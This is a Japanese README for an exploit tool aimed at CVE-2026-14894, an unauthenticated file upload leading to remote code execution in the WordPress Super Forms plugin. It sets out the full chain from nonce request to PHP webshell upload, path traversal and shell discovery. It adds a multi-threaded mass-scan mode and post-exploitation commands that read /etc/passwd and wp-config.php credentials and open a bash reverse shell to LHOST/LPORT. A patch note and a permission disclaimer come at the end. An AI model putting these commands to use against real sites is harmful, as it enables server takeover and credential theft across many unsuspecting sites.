
CVE-2026-14894 のエクスプロイト。WordPress Super Forms ≤ 6.3.313 における、認証なしのファイルアップロードから RCE に至る脆弱性です。PHP ウェブシェルをアップロードし、単一ターゲットまたは大量スキャンによる悪用に対応しています。
認証不要の任意ファイルアップロード → リモートコード実行が、WordPressプラグイン Super Forms バージョン ≤ 6.3.313 で可能です。
この脆弱性は、AJAXハンドラ super_submit_form に存在します。このハンドラは datauristring フィールドを介してファイルアップロードを処理しますが、ファイルの拡張子やMIMEタイプを検証せずにディスクに書き込みます。認証されていない攻撃者はPHPウェブシェルをアップロードし、対象サーバー上で完全なリモートコード実行(RCE)を達成できます。
[1] ノンスを生成 (nopriv)
POST /wp-admin/admin-ajax.php
action=super_create_nonce
│
▼
[2] PHPシェルをdatauristring経由でアップロード (認証不要)
POST /wp-admin/admin-ajax.php
action=super_submit_form
data={"sf_upload_field":{"files":[{"datauristring":"data:image/png;base64,..."}]}}
│
├── パストラバーサル → /wp-content/themes/<テーマ>/shell.php ← 優先
│ (常に実行)
│
└── ランダムフォルダ → /wp-content/uploads/superforms/... ← フォールバック
(実行はサーバーポリシーに依存)
│
▼
[3] シェル探索
├── S0: media?parent=entry_id (WP REST)
├── S1: REST /wp/v2/media 検索 (認証不要)
├── S2: Apache/nginx ディレクトリ一覧
└── S3: WP サイトマップ添付 XML
│
▼
[4] RCE → curl "http://target/wp-content/themes/theme/shell.php?c=id"
pip install requests urllib3
python cve-2026-14894.py
CVE-2026-14894 │ Super Forms ≤ 6.3.313
認証不要ファイルアップロード → リモートコード実行
研究者: andrea bocchetti | PoC: Beelze
1 単一ターゲット
2 複数ターゲット (ファイル)
モード (1/2): 1
対象URL : https://target.com
フォームID (enter=auto) : ← 空欄 = 自動検出
シェル名 (enter=random): ← 空欄 = ランダム名
シェルファイル (enter=built-in): ← 空欄 = 内蔵シェル
WPユーザー (オプション/REST) : ← オプション、探索向上
WPパスワード (オプション/REST) : ← オプション
成功時の期待出力:
──────────────────────────────────────────────────────────────
ターゲット https://target.com
──────────────────────────────────────────────────────────────
Super Forms v6.3.301 脆弱性あり ≤6.3.313
[1/3] ノンス生成 ...................... ✔ OK a3f9e1c... sid=sess_ab...
[2/3] アップロード [xkqmhzjt.php] .......... ✔ OK form_id=42 entry_id=137
[3/3] シェル探索 ................ ✔ FOUND → RCE [パストラバーサル → テーマ]
╔══════════════════════════════════════════════════════════════╗
║ ✓ PWNED → RCE確認 ║
║ ║
║ シェル » https://target.com/wp-content/themes/astra/shell ║
║ RCE » uid=33(www-data) gid=33(www-data) ║
║ ║
║ $ curl "https://target.com/...shell.php?c=whoami" ║
╚══════════════════════════════════════════════════════════════╝
モード (1/2): 2
ターゲットファイル : targets.txt ← 1行1URL、# = コメント
フォームID (enter=auto) :
スレッド数 (enter=5) : 10
シェルファイル (enter=built-in):
WPユーザー (オプション/REST) :
WPパスワード (オプション/REST) :
targets.txt 形式:
# バグバウンティスコープ
https://site1.com
https://site2.com
https://site3.com
マススキャン出力:
══════════════════════════════════════════════════════════════
マススキャン 3ターゲット スレッド数=10
══════════════════════════════════════════════════════════════
[01/03] https://site1.com .... RCE uid=33(www-data)
↳ https://site1.com/wp-content/themes/astra/xkqmhzjt.php
[02/03] https://site2.com .... WRITE 実行不可
↳ https://site2.com/wp-content/uploads/superforms/2026/07/.../shell.php
[03/03] https://site3.com .... FAIL プラグイン無効 / ブロック
══════════════════════════════════════════════════════════════
サマリー 1 RCE 1 WRITE_ONLY 0 MAYBE / 3 合計
══════════════════════════════════════════════════════════════
RCEシェル:
» https://site1.com/wp-content/themes/astra/xkqmhzjt.php (uid=33...)
内蔵ウェブシェルの代わりに、独自のシェルファイルを指定できます:
シェルファイル (enter=built-in): /path/to/myshell.php
ツールはファイルをアップロードし、200応答で本文が空でない場合をRCE確認とみなします。
RCE取得後、シェルと対話します:
# コマンド実行
curl -sk "https://target.com/wp-content/themes/theme/shell.php?c=id"
curl -sk "https://target.com/wp-content/themes/theme/shell.php?c=cat+/etc/passwd"
# WordPress設定の読み取り (資格情報、DB)
curl -sk "https://target.com/.../shell.php?c=cat+/var/www/html/wp-config.php"
# リバースシェル
curl -sk "https://target.com/.../shell.php" --data "c=bash+-c+'bash+-i+>%26+/dev/tcp/LHOST/LPORT+0>%261'"
結果は自動的に次の場所に保存されます:
~/Documents/CVE-2026-14894/result_YYYYMMDD_HHMMSS.json
| ステータス | 意味 |
|---|---|
RCE | PHPシェルの実行確認 — 完全なリモートコード実行 |
WRITE_ONLY | ファイルは書き込まれたがPHPが実行されない (エンジンオフ / .htaccess拒否) |
Super Forms を ≥ 6.3.314 に更新してください。このパッチでは、datauristring アップロードで .pdf 拡張子のみを強制し、realpath() による閉じ込めを追加してパストラバーサルを防止します。
このツールは許可された侵入テスト、バグバウンティ調査、教育目的のみを意図しています。
明示的な書面による許可がないシステムに対しては使用しないでください。
作者はこのツールの誤用または損害について一切の責任を負いません。
CVE-2026-14894 · Super Forms ≤ 6.3.313 · 認証不要ファイルアップロード RCE
研究者: andrea bocchetti · PoC: Beelze
| フィールド | 詳細 |
|---|
| CVE ID | CVE-2026-14894 |
| プラグイン | Super Forms (WordPress) |
| 影響を受けるバージョン | ≤ 6.3.313 |
| 修正バージョン | 6.3.314 (.pdf拡張子を強制 + realpathによる閉じ込め) |
| CVSS | 9.8 緊急 |
| 認証要件 | なし |
| 研究者 | andrea bocchetti |
| AJAXアクション | super_submit_form |
| シンク | datauristring フィールド → class-ajax.php:2762–2766 |
| アップロードパス | /wp-content/uploads/superforms/YYYY/MM/<13digits>/ |
POSSIBLE_WRITE |
| アップロード成功を返したがシェルURLが解決できない |
FAIL | プラグインが無効、ノンス失敗、または修正済みバージョンを検出 |